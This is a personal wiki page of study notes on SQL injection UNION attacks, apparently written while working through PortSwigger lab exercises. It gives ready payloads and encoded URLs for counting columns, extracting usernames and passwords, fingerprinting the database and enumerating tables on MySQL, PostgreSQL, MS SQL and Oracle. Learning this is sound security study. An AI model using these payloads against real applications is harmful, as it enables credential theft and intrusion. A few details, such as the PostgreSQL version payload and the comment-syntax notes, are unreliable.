SQL Injection/UNION Attack

This page covers UNION attacks, a type of SQL Injection attack.

For coverage of how to carry out this type of attack with Burpsuite, see Burpsuite/SQL Injection#UNION Attacks

Overview

A UNION attack is a type of SQL Injection attack that exploits the ability to run SQL code on a remote server by running cross-table queries to fetch (for example) username/password data from a product page, or to extract information about the database schema.

The basic idea is to use SQL injection to craft UNION queries that look like this:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

UNION queries require the two tables being UNIONed to match in number of columns and type. Although NULL can be used as a placeholder for any type, it's still important to determine how many columns are returned by an SQL query being injection-attacked, and to find a column with the correct type for the data you are extracting from "table2".

UNION attacks are common anytime an application is filtering what data is being retrieved with a SELECT statement. These types of statements are vulnerable to UNION attacks because an attacker can chain additional queries to the original query using UNION.

Basics of UNION Attacks

Retrieving Data from Other Tables

Suppose a web application allows a user to list products by category, and uses the user-provided "category" field to run the following SQL query:

SELECT name, description FROM products WHERE category = 'Gifts'

Now, if the attacker can pass this as a category:

' UNION SELECT username, password FROM users--

and the user input is not sanitized, the query will return all usernames and passwords along with product listings.

Practically speaking, you may need to encode the category above by changing something like /filter?category=Gifts to /filter?category='+UNION+SELECT+username,password+FROM+users--

Determining Number of Columns Returned for an Attack

When performing a UNION attack, you may need to know how many columns are returned from the original query.

There are two ways to do it.

The first way is to submit a series of ORDER BY clauses (order by field 1, order by field 2, etc), increment which field/column index until you get an error:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...

Once the field/column index is too big, the application will return an error. The SQL error may be shown, or may return an error code, or may return no results.

The second way is to submit a series of UNION SELECT payloads, specifying a different number of null values:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...

Same as above - once there are more NULLs than fields, the application will return an error. This method could trigger a different error (null pointer error) than above.

Determining Column Data Types

The purpose of an SQL injection UNION attack is to retrieve results from an injected query

Since data of interest is typically in string format, this means you have to find one or more columns that are of type string, in order to be able to use a UNION to retrieve string data.

Using the above technique, determine how many columns are returned. Then, modify the SQL query used above to include a simple string, instead of NULL, for each column.

For example, suppose we have 4 columns. Then these four queries would tell you which column has string data:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the column that is being UNIONed with the string is NOT a string, the SQL query will cause an error.

If the column that is being UNIONed with the string IS ALSO a string, then the SQL query will succeed.

Retrieving Data from Other Tables

Using the same example we've been running with, the vulnerable e-commerce site is running some kind of SQL query like

SELECT name, description FROM products WHERE category = 'Gifts'

and using the user-provided category without sanitizing the inputs first, which allows for the SQL injection attack.

(Note that we might have deduced this anyway from the nature of the results shown on the /filter page, each product just has a name and a description.)

We covered above how to check how many columns are returned, and how to check which ones are strings. Now we combine that with knowledge about other tables to craft a UNION query.

Suppose we know that usernames and passwords are stored in the "username" and "password" column of the "user" table.

Further suppose that the SQL query the page is running is indeed returning two columns, both of type string.

Then we could craft a UNION query that returns the usernames and passwords, and does a UNION of those two string fields with the two string fields

' UNION SELECT username, password FROM users--

To make this SQL query into a URL:

/filter?category='+UNION+SELECT+username,password+FROM+users--

Retrieving Multiple Values in One Column

The above example was not particularly realistic. We just so happened to have a product page that was already running an SQL query that returned two columns of string data, so we could easily UNION the results of that query (two columns of text data) with the information returned from the second part of the UNION query, which retrieves the usernames and passwords (also two columns of text data).

But suppose the products page only returns one string column. What do we do then?

In that case, we can concatenate information from multiple columns into a single column using ||:

SELECT NULL,username||'~'||password FROM users--

|| indicates string concatenation, ~ is an arbitrary separator.

As a URL, this looks like:

/filter?category='+UNION+SELECT+NULL,username||"~"||password+FROM+users--

(You can always request the /filter URL in Burp suite with Intercept Traffic on, and send that request to Repeater, where it's a bit easier to craft more complex SQL injection queries.)

Ignoring The Rest Of The Query

Sometimes (usually), an attacker using an SQL injection attack needs the rest of the query to be ignored, or non-functional.

The syntax required depends on the type of server:

• On MS SQL databases, you use -- to start a comment (end a query)

• On other databases (which ones? not sure exactly), you use a hash sign # to start a comment (end a query)

You can also try inserting true statements to invalidate the rest of the query. Try any of the following:

‘ or ‘a’=’a
‘ or 1=1--
‘ or 1=1 #
” or 1=1--
” or 1=1 #
or 1=1--
or 1=1 #
‘ or ‘a’=’a
” or “a”=”a
‘) or (‘a’=’a
‘or”=’

Examining the Database

Link: https://portswigger.net/web-security/sql-injection/examining-the-database

Querying the Database Type and Version

Start by identifying a parameter that is vulnerable to SQL injection.

Shortcut method: replace a given parameter with a single quote ' (which will make the SQL query invalid if the app is vulnerable to SQL injection) and see if the application returns an internal application error.

Different SQL servers use different syntax, so keep trying until something works.

Also see https://portswigger.net/web-security/sql-injection/cheat-sheet

Database Type	Version Query	Sample SQL Injection URL
Oracle	SELECT * FROM v$version	'+UNION+SELECT+BANNER,NULL+FROM+v$version--
Microsoft:	SELECT @@version	'+UNION+SELECT+@@version
MySQL	SELECT @@version	'+UNION+SELECT+@@version
PostgreSQL	SELECT version()	'+UNION+SELECT+@@version

(the banner null thing, i don't know... how you're supposed to know that... except by watching or reading the explanation...... or getting field names? somehow?)

You can also check whether queries can be terminated with -- or #

Listing database contents

Non Oracle SQL Servers

Non-Oracle SQL servers have an information schema that can be used to obtain information about other tables and their columns and types.

Listing Table Information

This query gets a list of tables in a database, using information_schema.tables:

SELECT * FROM information_schema.tables

This will return one result per table, with the following fields (probably more):

• TABLE_CATALOG
• TABLE_SCHEMA
• TABLE_NAME
• TABLE_TYPE

If you are having trouble with the union, you can always ask for just one column and fill in the remaining columns with NULL. For example, if an injectable parameter returns two columns of string data, you can use this UNION query:

' UNION SELECT TABLE_NAME,NULL FROM information_schema.tables--

Encoded as a URL:

/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+information_schema.tables--

Listing Column Information for a Given Table

To query the information schema of a particular table, use information_schema.columns:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This will return rows of results, where each row contains data about a different column.

A partial list of fields returned by this query:

• TABLE_CATALOG
• TABLE_SCHEMA
• TABLE_NAME
• COLUMN_NAME
• COLUMN_DEFAULT
• IS_NULLABLE
• DATA_TYPE

full list here: https://www.mssqltips.com/sqlservertutorial/183/information-schema-columns/

Can use the same strategy mentioned above, once you know how many columns your query returns, you can always craft a UNION query that uses a NULL as a placeholder, if the query being UNIONed does not have enough columns.

For example, this would return info about the columns of a table:

' UNION SELECT COLUMN_NAME,NULL FROM information_schema.columns WHERE TABLE_NAME='users'--

and when encoded as a URL, this becomes

/filter?category='+UNION+SELECT+COLUMN_NAME,NULL+FROM+information_schema.columns+WHERE+TABLE_NAME%3d'pg_user_mapping'--

Oracle SQL Servers

The analog to information schema on Oracle SQL servers is as follows.

Getting Table Information

for tables:

SELECT * FROM all_tables

For example, a UNION query against an injectable parameter on an Oracle SQL server might look like this:

' UNION SELECT TABLE_NAME,NULL FROM all_tables--

as a URL:

/filter?category='+UNION+SELECT+TABLE_NAME,NULL+FROM+all_tables--

Getting Column Information for a Given Table

for columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

this can be used in a UNION query against an injectable parameter, like so:

' UNION SELECT COLUMN_NAME,NULL FROM all_tab_columns WHERE table_name = 'USERS_IMUYZD'--

This will reveal the names of the columns in that table.

References

Burp suite: https://portswigger.net/web-security/sql-injection/union-attacks